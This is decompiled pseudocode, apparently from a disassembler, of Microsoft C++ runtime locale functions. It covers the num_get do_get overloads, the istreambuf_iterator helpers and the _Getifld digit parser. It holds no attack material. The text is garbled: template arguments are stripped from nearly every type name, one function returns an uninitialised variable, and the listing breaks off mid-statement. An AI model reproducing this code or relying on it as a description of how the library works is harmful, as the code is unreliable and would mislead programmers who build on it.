std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, bool *_Val) { std::ios_base *v7; // esi@1 int v8; // eax@1 std::num_get > > *v9; // edi@1 int v10; // ebp@1 std::locale *v11; // eax@2 std::numpunct *v12; // eax@2 int v13; // esi@2 std::numpunct *v14; // edi@2 unsigned int v15; // eax@3 int v16; // esi@6 std::basic_string,std::allocator > *v17; // eax@8 std::basic_string,std::allocator > *v18; // eax@10 const char *v19; // eax@12 std::locale *v20; // eax@16 int v21; // ST1C_4@16 int v22; // eax@16 unsigned int v23; // eax@16 int v24; // esi@16 unsigned int v25; // edi@16 unsigned int v26; // eax@17 int v27; // esi@20 bool v28; // zf@26 int *v29; // eax@26 int v30; // edx@31 std::istreambuf_iterator > *v31; // eax@31 int *v32; // [sp+Ch] [bp-6Ch]@1 char v33; // [sp+10h] [bp-68h]@17 char *_Ep; // [sp+14h] [bp-64h]@16 bool *v35; // [sp+18h] [bp-60h]@1 int v36; // [sp+1Ch] [bp-5Ch]@16 std::istreambuf_iterator > *v37; // [sp+20h] [bp-58h]@1 std::_Lockit thisa; // [sp+24h] [bp-54h]@3 int v39; // [sp+28h] [bp-50h]@2 char _Str; // [sp+2Ch] [bp-4Ch]@8 void *_Ptr; // [sp+30h] [bp-48h]@12 unsigned int v42; // [sp+44h] [bp-34h]@12 char _Ac; // [sp+48h] [bp-30h]@8 void *p; // [sp+4Ch] [bp-2Ch]@9 unsigned int v45; // [sp+60h] [bp-18h]@8 unsigned int v46; // [sp+68h] [bp-10h]@1 int v47; // [sp+74h] [bp-4h]@2 v46 = (unsigned int)&v32 ^ __security_cookie; v7 = _Iosbase; v37 = result; v8 = _Iosbase->_Fmtfl; v9 = this; v10 = -1; v32 = _State; v35 = _Val; if ( BYTE1(v8) & 0x40 ) { v11 = std::ios_base::getloc(_Iosbase, (std::locale *)&v39); v47 = 0; v12 = std::use_facet>(v11); v13 = v39; v14 = v12; v47 = -1; if ( v39 ) { std::_Lockit::_Lockit(&thisa, 0); v15 = *(_DWORD *)(v13 + 4); if ( v15 && v15 < 0xFFFFFFFF ) *(_DWORD *)(v13 + 4) = v15 - 1; v16 = ((*(_DWORD *)(v13 + 4) != 0) - 1) & v13; std::_Lockit::__Lockit(&thisa); if ( v16 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v16)(v16, 1); } std::basic_string_std::allocator>::basic_string_std::allocator>( (std::basic_string,std::allocator > *)&_Str, 1u, 0); v47 = 1; v17 = std::numpunct::falsename( v14, (std::basic_string,std::allocator > *)&_Ac); LOBYTE(v47) = 2; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Str, v17, 0, 0xFFFFFFFFu); LOBYTE(v47) = 1; if ( v45 >= 0x10 ) operator delete(p); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Str, 1u, 0); v18 = std::numpunct::truename( v14, (std::basic_string,std::allocator > *)&_Ac); LOBYTE(v47) = 3; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Str, v18, 0, 0xFFFFFFFFu); LOBYTE(v47) = 1; if ( v45 >= 0x10 ) operator delete(p); v19 = (const char *)_Ptr; if ( v42 < 0x10 ) v19 = (const char *)&_Ptr; v10 = std::_Getloctxt>>(&_First, &_Last, 2u, v19); v47 = -1; if ( v42 >= 0x10 ) operator delete(_Ptr); } else { *_errno() = 0; v20 = std::ios_base::getloc(v7, (std::locale *)&v36); v21 = v7->_Fmtfl; v47 = 4; v22 = std::num_get>>::_Getifld( v9, &_Ac, &_First, &_Last, v21, v20); v23 = strtoul(&_Ac, &_Ep, v22); v24 = v36; v25 = v23; v47 = -1; if ( v36 ) { std::_Lockit::_Lockit((std::_Lockit *)&v33, 0); v26 = *(_DWORD *)(v24 + 4); if ( v26 && v26 < 0xFFFFFFFF ) *(_DWORD *)(v24 + 4) = v26 - 1; v27 = ((*(_DWORD *)(v24 + 4) != 0) - 1) & v24; std::_Lockit::__Lockit((std::_Lockit *)&v33); if ( v27 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v27)(v27, 1); } if ( _Ep != &_Ac && !*_errno() && v25 <= 1 ) v10 = v25; } v28 = std::istreambuf_iterator>::equal(&_First, &_Last) == 0; v29 = v32; if ( !v28 ) *v32 |= 1u; if ( v10 >= 0 ) *v35 = v10 != 0; else *v29 |= 2u; v31 = v37; v30 = *(_DWORD *)&_First._Got; *(_DWORD *)&v37->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&v31->_Got = v30; __security_check_cookie((unsigned int)&v32 ^ v46); return v31; } //----- (005EF550) -------------------------------------------------------- bool __thiscall std::istreambuf_iterator>::equal(std::istreambuf_iterator > *this, std::istreambuf_iterator > *_Right) { std::istreambuf_iterator > *v2; // edi@1 int v3; // eax@5 v2 = this; if ( !this->_Got ) std::istreambuf_iterator>::_Peek(this); if ( !_Right->_Got ) std::istreambuf_iterator>::_Peek(_Right); v3 = *(_DWORD *)&_Right->___u0.baseclass_0.dummy[0]; if ( *(_DWORD *)&v2->___u0.baseclass_0.dummy[0] ) { if ( !v3 ) return 0; } else { if ( v3 ) return 0; } return 1; } //----- (005EF5A0) -------------------------------------------------------- char __thiscall std::istreambuf_iterator>::_Peek(std::istreambuf_iterator > *this) { std::istreambuf_iterator > *v1; // esi@1 int v2; // ecx@1 int *v3; // eax@2 int v4; // eax@4 v1 = this; v2 = *(_DWORD *)&this->___u0.baseclass_0.dummy[0]; if ( v2 && ((v3 = (int *)**(_DWORD **)(v2 + 32)) == 0 || **(_DWORD **)(v2 + 32) >= (unsigned int)(**(_DWORD **)(v2 + 32) + **(_DWORD **)(v2 + 48)) ? (v4 = (*(int (**)(void))(*(_DWORD *)v2 + 16))()) : (v4 = *(_BYTE *)v3), v4 != -1) ) { v1->_Val = v4; v1->_Got = 1; } else { LOBYTE(v4) = v1->_Val; *(_DWORD *)&v1->___u0.baseclass_0.dummy[0] = 0; v1->_Got = 1; } return v4; } //----- (005EF5F0) -------------------------------------------------------- int __cdecl std::_Getloctxt>>(std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, unsigned int _Numfields, const char *_Ptr) { const char v4; // cl@1 bool v5; // zf@1 const char v6; // al@2 const char *v7; // edx@2 signed int v8; // ebx@6 int v9; // esi@7 unsigned int v10; // edi@7 const char i; // al@8 void *v12; // eax@11 void *v13; // eax@14 const char v14; // al@17 std::istreambuf_iterator > *v15; // ecx@20 char v16; // al@24 void *v17; // ecx@26 char v18; // cl@29 void *v19; // eax@31 std::istreambuf_iterator > *v20; // esi@36 int result; // eax@40 int v22; // [sp+10h] [bp-3Ch]@1 unsigned int _Ans; // [sp+14h] [bp-38h]@6 std::istreambuf_iterator > *this; // [sp+18h] [bp-34h]@1 std::istreambuf_iterator > *_Right; // [sp+1Ch] [bp-30h]@1 char _Str; // [sp+20h] [bp-2Ch]@6 void *p; // [sp+24h] [bp-28h]@6 int v28; // [sp+34h] [bp-18h]@6 unsigned int v29; // [sp+38h] [bp-14h]@6 unsigned int v30; // [sp+3Ch] [bp-10h]@1 int v31; // [sp+48h] [bp-4h]@6 _Right = _Last; v4 = *_Ptr; v5 = *_Ptr == 0; v30 = (unsigned int)&v22 ^ __security_cookie; this = _First; if ( !v5 ) { v6 = v4; v7 = _Ptr; do { if ( v6 == v4 ) ++_Numfields; v6 = (v7++)[1]; } while ( v6 ); } v29 = 15; v28 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Str, _Numfields, 0); v31 = 0; _Ans = -2; v8 = 1; while ( 1 ) { v9 = 0; v10 = 0; BYTE3(v22) = 0; if ( !_Numfields ) break; do { for ( i = _Ptr[v9]; i; i = _Ptr[v9++ + 1] ) { if ( i == *_Ptr ) break; } v12 = p; if ( v29 < 0x10 ) v12 = &p; if ( *((_BYTE *)v12 + v10) ) { v13 = p; if ( v29 < 0x10 ) v13 = &p; v9 += *((_BYTE *)v13 + v10); } else { v9 += v8; v14 = _Ptr[v9]; if ( v14 != *_Ptr && v14 ) { if ( std::istreambuf_iterator>::equal(this, _Right) ) goto LABEL_43; v15 = this; if ( !this->_Got ) { std::istreambuf_iterator>::_Peek(this); v15 = this; } if ( _Ptr[v9] != v15->_Val ) { LABEL_43: v16 = v8; if ( (unsigned int)v8 >= 0x7F ) v16 = 127; v17 = p; if ( v29 < 0x10 ) v17 = &p; *((_BYTE *)v17 + v10) = v16; } else { BYTE3(v22) = 1; } } else { v18 = v8; if ( (unsigned int)v8 >= 0x7F ) v18 = 127; v19 = p; if ( v29 < 0x10 ) v19 = &p; *((_BYTE *)v19 + v10) = v18; _Ans = v10; } } ++v10; } while ( v10 < _Numfields ); if ( !BYTE3(v22) ) break; v20 = this; if ( std::istreambuf_iterator>::equal(this, _Right) ) break; ++v8; std::istreambuf_iterator>::_Inc(v20); _Ans = -1; } if ( v29 >= 0x10 ) operator delete(p); __security_check_cookie((unsigned int)&v22 ^ v30); return result; } //----- (005EF7E0) -------------------------------------------------------- void __thiscall std::istreambuf_iterator>::_Inc(std::istreambuf_iterator > *this) { std::istreambuf_iterator > *v1; // esi@1 int v2; // ecx@1 int v3; // eax@2 int **v4; // ecx@4 int *v5; // eax@4 int v6; // eax@4 v1 = this; v2 = *(_DWORD *)&this->___u0.baseclass_0.dummy[0]; if ( v2 && ((v3 = *(_DWORD *)(v2 + 32), !*(_DWORD *)v3) || *(_DWORD *)v3 >= (unsigned int)(*(_DWORD *)v3 + **(_DWORD **)(v2 + 48)) ? (v6 = (*(int (**)(void))(*(_DWORD *)v2 + 20))()) : (--**(_DWORD **)(v2 + 48), v4 = *(int ***)(v2 + 32), v5 = *v4, *v4 = (int *)((char *)*v4 + 1), v6 = *(_BYTE *)v5), v6 != -1) ) { v1->_Got = 0; } else { *(_DWORD *)&v1->___u0.baseclass_0.dummy[0] = 0; v1->_Got = 1; } } //----- (005EF830) -------------------------------------------------------- int __cdecl std::num_get>>::_Getifld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, int _Basefield, std::locale *_Loc) { char *v6; // ebp@1 std::numpunct *v7; // edi@1 std::locale::facetVtbl *v8; // edx@1 int v9; // eax@11 int v10; // edi@12 char v11; // bl@16 int v12; // edi@36 char v13; // al@39 size_t v14; // ST08_4@39 void *v15; // eax@44 void *v16; // ecx@44 unsigned int v17; // ebp@50 void *v18; // ebx@50 void *v19; // eax@50 void **v20; // eax@61 void *v21; // edx@67 char v22; // cl@71 void **v23; // eax@73 void **v24; // eax@77 char *v25; // eax@82 int result; // eax@89 int v27; // [sp+10h] [bp-60h]@1 int _Base; // [sp+14h] [bp-5Ch]@16 char *_Ptr; // [sp+18h] [bp-58h]@1 std::istreambuf_iterator > *_Right; // [sp+1Ch] [bp-54h]@1 size_t _Dlen; // [sp+20h] [bp-50h]@34 char *v32; // [sp+24h] [bp-4Ch]@1 char _Groups; // [sp+28h] [bp-48h]@57 void *p; // [sp+2Ch] [bp-44h]@36 int v35; // [sp+3Ch] [bp-34h]@36 unsigned int v36; // [sp+40h] [bp-30h]@36 char _Grouping; // [sp+44h] [bp-2Ch]@1 void *v38; // [sp+48h] [bp-28h]@67 unsigned int v39; // [sp+5Ch] [bp-14h]@67 unsigned int v40; // [sp+60h] [bp-10h]@1 int v41; // [sp+6Ch] [bp-4h]@1 v6 = _Ac; v40 = (unsigned int)&v27 ^ __security_cookie; v32 = _Ac; _Right = _Last; v7 = std::use_facet>(_Loc); std::numpunct::grouping(v7, (std::basic_string,std::allocator > *)&_Grouping); v8 = v7->baseclass_0.vfptr; v41 = 0; BYTE3(v27) = ((int (__thiscall *)(std::numpunct *))v8[2].__vecDelDtor)(v7); _Ptr = _Ac; if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 43 ) { *_Ac = 43; LABEL_10: v6 = _Ac + 1; _Ptr = _Ac + 1; std::istreambuf_iterator>::_Inc(_First); goto LABEL_11; } if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 45 ) { *_Ac = 45; goto LABEL_10; } } LABEL_11: v9 = _Basefield & 0xE00; if ( v9 == 1024 ) { v10 = 8; } else { if ( v9 == 2048 ) v10 = 16; else v10 = v9 != 0 ? 0xA : 0; } v11 = 0; _Base = v10; BYTE1(v27) = 0; BYTE2(v27) = 0; if ( std::istreambuf_iterator>::equal(_First, _Right) ) goto LABEL_92; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 ) { LABEL_92: if ( !v10 ) goto LABEL_35; } else { v11 = 1; BYTE1(v27) = 1; std::istreambuf_iterator>::_Inc(_First); if ( !std::istreambuf_iterator>::equal(_First, _Right) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 120 ) goto LABEL_93; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 88 ) { LABEL_93: if ( !v10 || v10 == 16 ) { v11 = 0; v10 = 16; _Base = 16; BYTE1(v27) = 0; std::istreambuf_iterator>::_Inc(_First); LABEL_34: _Dlen = (((v10 != 8) - 1) & 0xFFFFFFF2) + 22; goto LABEL_36; } } } if ( !v10 ) { v10 = 8; _Base = 8; goto LABEL_34; } } if ( v10 != 10 ) goto LABEL_34; LABEL_35: _Dlen = 10; LABEL_36: v36 = 15; LOWORD(p) = (unsigned __int8)v11; v35 = 1; LOBYTE(v41) = 1; v12 = 0; if ( std::istreambuf_iterator>::equal(_First, _Right) ) { v18 = p; v17 = v36; } else { do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); v13 = _First->_Val; v14 = _Dlen; *v6 = v13; if ( memchr("0123456789abcdefABCDEF", v13, v14) ) { if ( (BYTE2(v27) || *v6 != 48) && v6 < v32 + 31 ) { ++v6; _Ptr = v6; BYTE2(v27) = 1; } v15 = p; BYTE1(v27) = 1; v16 = p; if ( v36 < 0x10 ) v16 = &p; if ( *((_BYTE *)v16 + v12) != 127 ) { if ( v36 < 0x10 ) v15 = &p; ++*((_BYTE *)v15 + v12); } } else { v17 = v36; v18 = p; v19 = p; if ( v36 < 0x10 ) v19 = &p; if ( !*((_BYTE *)v19 + v12) || !BYTE3(v27) ) goto LABEL_60; if ( !_First->_Got ) { std::istreambuf_iterator>::_Peek(_First); v18 = p; v17 = v36; } if ( _First->_Val != BYTE3(v27) ) goto LABEL_60; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groups, 1u, 0); v6 = _Ptr; ++v12; } std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, _Right) ); v18 = p; v17 = v36; LABEL_60: if ( v12 ) { v20 = (void **)v18; if ( v17 < 0x10 ) v20 = &p; if ( *((_BYTE *)v20 + v12) <= 0 ) BYTE1(v27) = 0; else ++v12; } } v21 = v38; if ( v39 < 0x10 ) v21 = &v38; if ( BYTE1(v27) ) { while ( v12 ) { v22 = *(_BYTE *)v21; if ( *(_BYTE *)v21 == 127 ) break; --v12; if ( v12 ) { v23 = (void **)v18; if ( v17 < 0x10 ) v23 = &p; if ( v22 != *((_BYTE *)v23 + v12) ) goto LABEL_84; } if ( !v12 ) { v24 = (void **)v18; if ( v17 < 0x10 ) v24 = &p; if ( v22 < *(_BYTE *)v24 ) goto LABEL_84; } if ( *((_BYTE *)v21 + 1) > 0 ) v21 = (char *)v21 + 1; } v25 = _Ptr; if ( !BYTE2(v27) ) { *_Ptr = 48; ++v25; } } else { LABEL_84: v25 = v32; } *v25 = 0; if ( v17 >= 0x10 ) operator delete(v18); v36 = 15; v35 = 0; LOBYTE(p) = 0; if ( v39 >= 0x10 ) operator delete(v38); __security_check_cookie((unsigned int)&v27 ^ v40); return result; } //----- (005EFC20) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int16 *_Val) { int *v7; // ebp@1 std::ios_base *v8; // esi@1 std::num_get > > *v9; // edi@1 std::locale *v10; // eax@1 int v11; // ST10_4@1 int v12; // edi@1 int v13; // esi@2 unsigned int v14; // eax@2 int v15; // esi@5 char *v16; // ebx@7 unsigned int v17; // esi@9 int v18; // edx@18 std::istreambuf_iterator > *v19; // eax@18 char *_Ep; // [sp+10h] [bp-44h]@1 unsigned __int16 *v21; // [sp+14h] [bp-40h]@1 std::_Lockit thisa; // [sp+18h] [bp-3Ch]@2 std::istreambuf_iterator > *v23; // [sp+1Ch] [bp-38h]@1 int v24; // [sp+20h] [bp-34h]@1 char _Ac; // [sp+24h] [bp-30h]@1 char nptr; // [sp+25h] [bp-2Fh]@7 unsigned int v27; // [sp+44h] [bp-10h]@1 int v28; // [sp+50h] [bp-4h]@1 v7 = _State; v8 = _Iosbase; v27 = (unsigned int)&_Ep ^ __security_cookie; v9 = this; v23 = result; v21 = _Val; *_errno() = 0; v10 = std::ios_base::getloc(v8, (std::locale *)&v24); v11 = v8->_Fmtfl; v28 = 0; v12 = std::num_get>>::_Getifld( v9, &_Ac, &_First, &_Last, v11, v10); v28 = -1; if ( v24 ) { v13 = v24; std::_Lockit::_Lockit(&thisa, 0); v14 = *(_DWORD *)(v13 + 4); if ( v14 && v14 < 0xFFFFFFFF ) *(_DWORD *)(v13 + 4) = v14 - 1; v15 = ((*(_DWORD *)(v13 + 4) != 0) - 1) & v13; std::_Lockit::__Lockit(&thisa); if ( v15 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v15)(v15, 1); } v16 = &nptr; if ( _Ac != 45 ) v16 = &_Ac; v17 = strtoul(v16, &_Ep, v12); if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == v16 || *_errno() || v17 > 0xFFFF ) { *v7 |= 2u; } else { if ( _Ac == 45 ) v17 = -v17; *v21 = v17; } v19 = v23; v18 = *(_DWORD *)&_First._Got; *(_DWORD *)&v23->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&v19->_Got = v18; __security_check_cookie((unsigned int)&_Ep ^ v27); return v19; } //----- (005EFD90) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val) { int *v7; // ebp@1 std::ios_base *v8; // esi@1 std::num_get > > *v9; // edi@1 std::locale *v10; // eax@1 int v11; // ST10_4@1 int v12; // edi@1 int v13; // esi@2 unsigned int v14; // eax@2 int v15; // esi@5 char *v16; // ebx@7 unsigned int v17; // esi@9 int v18; // edx@18 std::istreambuf_iterator > *v19; // eax@18 char *_Ep; // [sp+10h] [bp-44h]@1 unsigned int *v21; // [sp+14h] [bp-40h]@1 std::_Lockit thisa; // [sp+18h] [bp-3Ch]@2 std::istreambuf_iterator > *v23; // [sp+1Ch] [bp-38h]@1 int v24; // [sp+20h] [bp-34h]@1 char _Ac; // [sp+24h] [bp-30h]@1 char nptr; // [sp+25h] [bp-2Fh]@7 unsigned int v27; // [sp+44h] [bp-10h]@1 int v28; // [sp+50h] [bp-4h]@1 v7 = _State; v8 = _Iosbase; v27 = (unsigned int)&_Ep ^ __security_cookie; v9 = this; v23 = result; v21 = _Val; *_errno() = 0; v10 = std::ios_base::getloc(v8, (std::locale *)&v24); v11 = v8->_Fmtfl; v28 = 0; v12 = std::num_get>>::_Getifld( v9, &_Ac, &_First, &_Last, v11, v10); v28 = -1; if ( v24 ) { v13 = v24; std::_Lockit::_Lockit(&thisa, 0); v14 = *(_DWORD *)(v13 + 4); if ( v14 && v14 < 0xFFFFFFFF ) *(_DWORD *)(v13 + 4) = v14 - 1; v15 = ((*(_DWORD *)(v13 + 4) != 0) - 1) & v13; std::_Lockit::__Lockit(&thisa); if ( v15 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v15)(v15, 1); } v16 = &nptr; if ( _Ac != 45 ) v16 = &_Ac; v17 = strtoul(v16, &_Ep, v12); if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == v16 || *_errno() || v17 > 0xFFFFFFFF ) { *v7 |= 2u; } else { if ( _Ac == 45 ) v17 = -v17; *v21 = v17; } v19 = v23; v18 = *(_DWORD *)&_First._Got; *(_DWORD *)&v23->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&v19->_Got = v18; __security_check_cookie((unsigned int)&_Ep ^ v27); return v19; } //----- (005EFEF0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, int *_Val) { int *v7; // ebx@1 int *v8; // ebp@1 std::ios_base *v9; // esi@1 std::num_get > > *v10; // edi@1 std::locale *v11; // eax@1 int v12; // ST1C_4@1 int v13; // eax@1 int v14; // edi@1 int v15; // esi@2 unsigned int v16; // eax@2 int v17; // esi@5 int v18; // edx@13 std::istreambuf_iterator > *v19; // eax@13 void *_Ep; // [sp+10h] [bp-40h]@1 int v21; // [sp+14h] [bp-3Ch]@1 std::istreambuf_iterator > *v22; // [sp+18h] [bp-38h]@1 std::_Lockit thisa; // [sp+1Ch] [bp-34h]@2 char _Ac[32]; // [sp+20h] [bp-30h]@1 unsigned int v25; // [sp+40h] [bp-10h]@1 int v26; // [sp+4Ch] [bp-4h]@1 v7 = _State; v8 = _Val; v25 = (unsigned int)&_Ep ^ __security_cookie; v9 = _Iosbase; v10 = this; v22 = result; *_errno() = 0; v11 = std::ios_base::getloc(v9, (std::locale *)&v21); v12 = v9->_Fmtfl; v26 = 0; v13 = std::num_get>>::_Getifld( v10, _Ac, &_First, &_Last, v12, v11); v14 = strtol(_Ac, (char **)&_Ep, v13); v26 = -1; if ( v21 ) { v15 = v21; std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)(v15 + 4); if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)(v15 + 4) = v16 - 1; v17 = ((*(_DWORD *)(v15 + 4) != 0) - 1) & v15; std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) *v7 |= 2u; else *v8 = v14; v19 = v22; v18 = *(_DWORD *)&_First; *(_DWORD *)&v22->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&v19->___u0.baseclass_0.dummy[0] = v18; __security_check_cookie((unsigned int)&_Ep ^ v25); return v19; } //----- (005F0030) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val) { int *v7; // ebx@1 unsigned int *v8; // ebp@1 std::ios_base *v9; // esi@1 std::num_get > > *v10; // edi@1 std::locale *v11; // eax@1 int v12; // ST1C_4@1 int v13; // eax@1 unsigned int v14; // edi@1 int v15; // esi@2 unsigned int v16; // eax@2 int v17; // esi@5 int v18; // edx@13 std::istreambuf_iterator > *v19; // eax@13 char *_Ep; // [sp+10h] [bp-40h]@1 int v21; // [sp+14h] [bp-3Ch]@1 std::istreambuf_iterator > *v22; // [sp+18h] [bp-38h]@1 std::_Lockit thisa; // [sp+1Ch] [bp-34h]@2 char _Ac[32]; // [sp+20h] [bp-30h]@1 unsigned int v25; // [sp+40h] [bp-10h]@1 int v26; // [sp+4Ch] [bp-4h]@1 v7 = _State; v8 = _Val; v25 = (unsigned int)&_Ep ^ __security_cookie; v9 = _Iosbase; v10 = this; v22 = result; *_errno() = 0; v11 = std::ios_base::getloc(v9, (std::locale *)&v21); v12 = v9->_Fmtfl; v26 = 0; v13 = std::num_get>>::_Getifld( v10, _Ac, &_First, &_Last, v12, v11); v14 = strtoul(_Ac, &_Ep, v13); v26 = -1; if ( v21 ) { v15 = v21; std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)(v15 + 4); if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)(v15 + 4) = v16 - 1; v17 = ((*(_DWORD *)(v15 + 4) != 0) - 1) & v15; std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) *v7 |= 2u; else *v8 = v14; v19 = v22; v18 = *(_DWORD *)&_First; *(_DWORD *)&v22->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&v19->___u0.baseclass_0.dummy[0] = v18; __security_check_cookie((unsigned int)&_Ep ^ v25); return v19; } //----- (005F0170) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, __int64 *_Val) { int *v7; // ebx@1 __int64 *v8; // ebp@1 std::ios_base *v9; // esi@1 std::num_get > > *v10; // edi@1 std::locale *v11; // eax@1 int v12; // ST1C_4@1 int v13; // eax@1 __int64 v14; // kr00_8@1 int v15; // esi@2 unsigned int v16; // eax@2 int v17; // esi@5 int v18; // edx@11 int v19; // edx@13 std::istreambuf_iterator > *v20; // eax@13 void *_Ep; // [sp+10h] [bp-48h]@1 std::istreambuf_iterator > *v22; // [sp+14h] [bp-44h]@1 std::_Lockit thisa; // [sp+18h] [bp-40h]@2 int v24; // [sp+1Ch] [bp-3Ch]@1 int v25; // [sp+24h] [bp-34h]@1 char _Ac[32]; // [sp+28h] [bp-30h]@1 unsigned int v27; // [sp+48h] [bp-10h]@1 int v28; // [sp+54h] [bp-4h]@1 v7 = _State; v8 = _Val; v27 = (unsigned int)&_Ep ^ __security_cookie; v9 = _Iosbase; v10 = this; v22 = result; *_errno() = 0; v11 = std::ios_base::getloc(v9, (std::locale *)&v24); v12 = v9->_Fmtfl; v28 = 0; v13 = std::num_get>>::_Getifld( v10, _Ac, &_First, &_Last, v12, v11); v14 = _strtoi64(_Ac, (char **)&_Ep, v13); v25 = HIDWORD(v14); v28 = -1; if ( v24 ) { v15 = v24; std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)(v15 + 4); if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)(v15 + 4) = v16 - 1; v17 = ((*(_DWORD *)(v15 + 4) != 0) - 1) & v15; std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) { *v7 |= 2u; } else { v18 = v25; *(_DWORD *)v8 = v14; *((_DWORD *)v8 + 1) = v18; } v20 = v22; v19 = *(_DWORD *)&_First._Got; *(_DWORD *)&v22->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&v20->_Got = v19; __security_check_cookie((unsigned int)&_Ep ^ v27); return v20; } //----- (005F02C0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int64 *_Val) { int *v7; // ebx@1 unsigned __int64 *v8; // ebp@1 std::ios_base *v9; // esi@1 std::num_get > > *v10; // edi@1 std::locale *v11; // eax@1 int v12; // ST1C_4@1 int v13; // eax@1 unsigned __int64 v14; // kr00_8@1 int v15; // esi@2 unsigned int v16; // eax@2 int v17; // esi@5 int v18; // edx@11 int v19; // edx@13 std::istreambuf_iterator > *v20; // eax@13 void *_Ep; // [sp+10h] [bp-48h]@1 std::istreambuf_iterator > *v22; // [sp+14h] [bp-44h]@1 std::_Lockit thisa; // [sp+18h] [bp-40h]@2 int v24; // [sp+1Ch] [bp-3Ch]@1 int v25; // [sp+24h] [bp-34h]@1 char _Ac[32]; // [sp+28h] [bp-30h]@1 unsigned int v27; // [sp+48h] [bp-10h]@1 int v28; // [sp+54h] [bp-4h]@1 v7 = _State; v8 = _Val; v27 = (unsigned int)&_Ep ^ __security_cookie; v9 = _Iosbase; v10 = this; v22 = result; *_errno() = 0; v11 = std::ios_base::getloc(v9, (std::locale *)&v24); v12 = v9->_Fmtfl; v28 = 0; v13 = std::num_get>>::_Getifld( v10, _Ac, &_First, &_Last, v12, v11); v14 = _strtoui64(_Ac, (char **)&_Ep, v13); v25 = HIDWORD(v14); v28 = -1; if ( v24 ) { v15 = v24; std::_Lockit::_Lockit(&thisa, 0); v16 = *(_DWORD *)(v15 + 4); if ( v16 && v16 < 0xFFFFFFFF ) *(_DWORD *)(v15 + 4) = v16 - 1; v17 = ((*(_DWORD *)(v15 + 4) != 0) - 1) & v15; std::_Lockit::__Lockit(&thisa); if ( v17 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v17)(v17, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) { *v7 |= 2u; } else { v18 = v25; *(_DWORD *)v8 = v14; *((_DWORD 